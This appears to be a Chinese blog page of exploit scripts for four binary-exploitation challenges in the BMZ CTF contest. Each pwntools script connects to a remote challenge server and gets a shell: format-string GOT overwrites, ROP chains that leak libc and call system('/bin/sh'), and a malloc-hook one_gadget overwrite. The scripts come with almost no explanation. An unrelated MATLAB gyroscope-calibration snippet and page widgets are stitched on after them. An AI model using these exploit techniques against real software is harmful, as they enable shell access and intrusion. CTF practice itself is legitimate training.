BMZ公开赛PWN题

pwn1

exp

#coding=utf-8
from pwn import *
context.log_level="info"
binary="./pwn1"
elf=ELF(binary)
#sh=process(binary)
sh=remote("47.242.59.61",10000)
vuln=0x80486AE

memset_got=elf.got['memset']
sh.recvuntil("e to BMZCTF \n")
payload=fmtstr_payload(10,{memset_got:vuln})
sh.sendline(payload)
sh.interactive()

pwn2

exp

#coding=utf-8
from pwn import *
context.log_level="debug"
binary="./pwn2"
elf=ELF(binary)
# sh=process(binary)
sh=remote("47.242.59.61",10001)

check=0x040073C
pop_rdi=0x0000000000400833
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
sh.recvuntil("e you?\n")
# gdb.attach(sh,"b*0x40076C ")
padding="21232F297A57A5A743894A0E4A801FC3\x00"+'a'*23
payload=padding+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(check)
sh.sendline(payload)
puts_addr=u64(sh.recv(6).ljust(8,"\x00"))
libc_base=puts_addr-0x06f6a0
system_addr=libc_base+0x0453a0
bin_sh_addr=libc_base+0x18ce17

payload=padding+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)+p64(check)
sh.sendline(payload)
sh.interactive()

pwn3

exp

#coding=utf-8
from pwn import *
context.log_level="debug"
binary="./pwn3"
elf=ELF(binary)
# sh=process(binary)
sh=remote("47.242.59.61",10002)

pop_rdi=0x00040155b
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x04013FA 
sh.sendlineafter(">","smsg")
for i in range(70):
	sh.sendlineafter("`->","aaaa")
	sh.sendlineafter("Send?(Y/N)","N")
# gdb.attach(sh,"b*0x4012DE")
payload='a'*17+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
sh.sendlineafter("`->",payload)
sh.sendlineafter("Send?(Y/N)","Y")
sh.recvuntil("Sent.\n")
puts_addr=u64(sh.recv(6).ljust(8,"\x00"))
print "puts"+hex(puts_addr)
libc_base=puts_addr-0x06f6a0
system_addr=libc_base+0x0453a0
bin_sh_addr=libc_base+0x18ce17


sh.sendlineafter(">","smsg")
for i in range(70):
	sh.sendlineafter("`->","aaaa")
	sh.sendlineafter("Send?(Y/N)","N")
# gdb.attach(sh,"b*0x4012DE")
payload='a'*17+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)+p64(main)
sh.sendlineafter("`->",payload)
sh.sendlineafter("Send?(Y/N)","Y")

sh.interactive()

pwn4

exp

#coding=utf-8
from pwn import *
context.log_level="info"

binary="./pwn4"
elf=ELF(binary)
# sh=process(binary)
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
sh=remote("47.242.59.61",10003)

def modif(addr,target):
	one_1=int(hex(target)[-4:],16)
	one_2=int(hex(target)[-8:-4],16)
	one_3=int(hex(target)[-12:-8],16)
	change(addr,one_1)
	change(addr+2,one_2)
	change(addr+4,one_3)

def change(addr,target):
	sh.sendafter(" name: ",p64(addr))
	payload="%"+str(target)+"c%12$hn"
	payload+=(32-len(payload))*'a'
	sh.sendafter("e a msg: ",payload)

stack_chk_fail=elf.got['__stack_chk_fail']

sh.sendafter(" name: ",p64(stack_chk_fail))
payload="%17$ p%2420c%12$hn%2422222440c%1"
sh.sendafter("e a msg: ",payload)

#leak libc
libc_start_main=int(sh.recv(15),16)-240
print "libc_start_main:"+hex(libc_start_main)

libc_base=libc_start_main-0x020750
print "libc_base:"+hex(libc_base)
one=[0x45226,0x4527a,0xf0364,0xf1207]
one_gadget=libc_base+one[1]

realloc_hook=libc_base+libc.sym['__realloc_hook']
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['realloc']
malloc=libc_base+libc.sym['malloc']
exit_got=elf.got['exit']

print "malloc:"+hex(malloc)
modif(realloc_hook,one_gadget) #
modif(malloc_hook,realloc+0xc)
modif(exit_got,malloc)

#exploit 
# gdb.attach(sh,"b *0x400957")
sh.sendafter(" name: ","fkbugs")
sh.sendafter("e a msg: ","%p")

sh.interactive()
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
以下是一个简单的利用最小二乘法进行陀螺标定9个误差参数的MATLAB代码: ```matlab % 标定数据 data = [wx, wy, wz, mx, my, mz, ax, ay, az]; % 定义误差函数 function e = errorFunc(x, data) wx = data(:,1); wy = data(:,2); wz = data(:,3); mx = data(:,4); my = data(:,5); mz = data(:,6); ax = data(:,7); ay = data(:,8); az = data(:,9); bwx = x(1); bwy = x(2); bwz = x(3); bmx = x(4); bmy = x(5); bmz = x(6); bax = x(7); bay = x(8); baz = x(9); e1 = wx - bwx - bmx.*my + bmy.*mx - bmz.*ax + baz.*ay; e2 = wy - bwy - bmx.*mx - bmy.*my + bmz.*ay + bay.*ax; e3 = wz - bwz + bmx.*ax - bmy.*ay - bmz.*az + bax.*my - bay.*mx; e4 = mx - (1 + bmx).*mx + bmy.*mz - bmz.*my; e5 = my - (1 + bmy).*my + bmx.*mz - bmz.*mx; e6 = mz - (1 + bmz).*mz + bmx.*my - bmy.*mx; e7 = ax - (1 + bax).*ax; e8 = ay - (1 + bay).*ay; e9 = az - (1 + baz).*az; e = [e1; e2; e3; e4; e5; e6; e7; e8; e9]; end % 初始估计值 x0 = zeros(9,1); % 最小二乘法求解误差参数 x = lsqnonlin(@errorFunc,x0,[],[],[],data); % 输出结果 disp('bias_wx: '); disp(x(1)); disp('bias_wy: '); disp(x(2)); disp('bias_wz: '); disp(x(3)); disp('bias_mx: '); disp(x(4)); disp('bias_my: '); disp(x(5)); disp('bias_mz: '); disp(x(6)); disp('bias_ax: '); disp(x(7)); disp('bias_ay: '); disp(x(8)); disp('bias_az: '); disp(x(9)); ``` 其中,`data`是标定数据矩阵,包含了9个列分别对应角速度和磁场、加速度的三个分量。`errorFunc`是定义的误差函数,其中参数`x`是9个误差参数,`data`是标定数据矩阵。`lsqnonlin`函数是MATLAB自带的最小二乘法求解函数,用于求解误差参数`x`,最后输出9个误差参数的值。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值